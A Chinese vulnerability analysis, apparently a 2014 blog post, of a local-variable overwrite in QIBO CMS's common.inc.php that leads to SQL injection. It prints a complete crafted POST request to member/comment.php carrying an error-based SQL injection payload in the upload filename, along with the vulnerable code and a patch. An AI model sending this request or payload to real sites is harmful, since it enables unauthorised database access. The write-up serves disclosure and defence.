QIBO CMS /inc/common.inc.php Local Variables Overriding Vul In $_FILES
目录
1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考
1. 漏洞描述
齐博在/inc/common.inc.php使用$$_key=$value、extract等逻辑实现了外部输入变量的本地注册,这是模拟了GPC的功能,但同时也引入"本地变量覆盖"、"本地变量未初始化"的安全风险 齐博CMS中的漏洞文件/inc/common.inc.php使用 @extract($_FILES, EXTR_SKIP)来注册$_FILES的各变量,使用EXTR_SKIP来控制不覆盖已存在的变量。利用一个末初始化的变量覆盖漏洞,即可导致sql注入漏洞
Relevant Link:
http://bbs.qibosoft.com/read-forum-tid-422299.htm
2. 漏洞触发条件
0x1: 攻击入口
构造cidDB变量,POST给/member/comment.php
1. 首先访问/member下面的"评论管理"功能,抓包 2. 在http request中构造一个attachment,如下: /* POST /qibo/member/comment.php?job=yz&yz=0 HTTP/1.1 Host: 127.0.0.1 Proxy-Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36 SE 2.X MetaSr 1.0 Referer: http://127.0.0.1/qibo/member/comment.php?job=work Accept-Encoding: gzip,deflate,sdch Accept-Language: zh-CN,zh;q=0.8 Cookie: PHPSESSID=jo9rpav7l51iakidv01vr9fem1; passport=1%09admin%09ClAKVgsEBglUAwcFUgRTDgRRCF9XUAZXBAcAVQIHBlc%3D94606de1fd; USR=fvqnvbj3%0922%091425969668%09http%3A%2F%2F127.0.0.1%2Fqibo%2Fmember%2Fcomment.php%3Fjob%3Dwork Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6ukpBHoIrpHKtOkl Content-Length: 227 ------WebKitFormBoundary6ukpBHoIrpHKtOkl Content-Disposition: form-data; name="cidDB"; filename="1' and EXP(~(select * from(select user())a)) -- " Content-Type: text/plain 1111 ------WebKitFormBoundary6ukpBHoIrpHKtOkl-- */ 注意将原来的URL上的cidDB[]=x删除掉; 然后构造一个文件上传的报文(GET改为POST方法) 在filename处填入注入的payload 3. 提交该数据包,即可注入成功 //这次的变量覆盖是抓住了extract的EXTR_SKIP只检查已经存在的变量,但是有些没有声明的变量还是会被覆盖
Relevant Link:
http://bobao.360.cn/learning/detail/291.html
3. 漏洞影响范围
齐博所有系统、所有版本
4. 漏洞代码分析
\qibo\inc\common.inc.php
/* 全局变量文件对GPC变量的过滤 从代码中可以看淡,通过$_FILE传的值,POST的内容受GPC影响,因此只能利用$_FILE变量的$key绕过add_S函数 这里,$_FILS在传递参数时,是数组形式,因此可以默认使用$_FILES的$key去覆盖 */ $_POST=Add_S($_POST); $_GET=Add_S($_GET); $_COOKIE=Add_S($_COOKIE); function Add_S($array) { foreach($array as $key=>$value) { if(!is_array($value)) { $value=str_replace("&#x","& # x",$value); //过滤一些不安全字符 $value=preg_replace("/eval/i","eva l",$value); //过滤不安全函数 !get_magic_quotes_gpc() && $value=addslashes($value); $array[$key]=$value; } else { $array[$key]=Add_S($array[$key]); } } return $array; } if(!ini_get('register_globals')) { @extract($_FILES,EXTR_SKIP); } foreach($_COOKIE AS $_key=>$_value) { unset($$_key); } foreach($_POST AS $_key=>$_value) { !ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key]; } foreach($_GET AS $_key=>$_value) { !ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key]; }
5. 防御方法
\qibo\inc\common.inc.php
if(!ini_get('register_globals')) { $array = array('Filedata','postfile','upfile','fileData','Filedata'); foreach($array AS $key=>$value) { is_array($_FILES[$value]) && $$value = $_FILES[$value]; } }
6. 攻防思考
Copyright (c) 2014 LittleHann All rights reserved
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?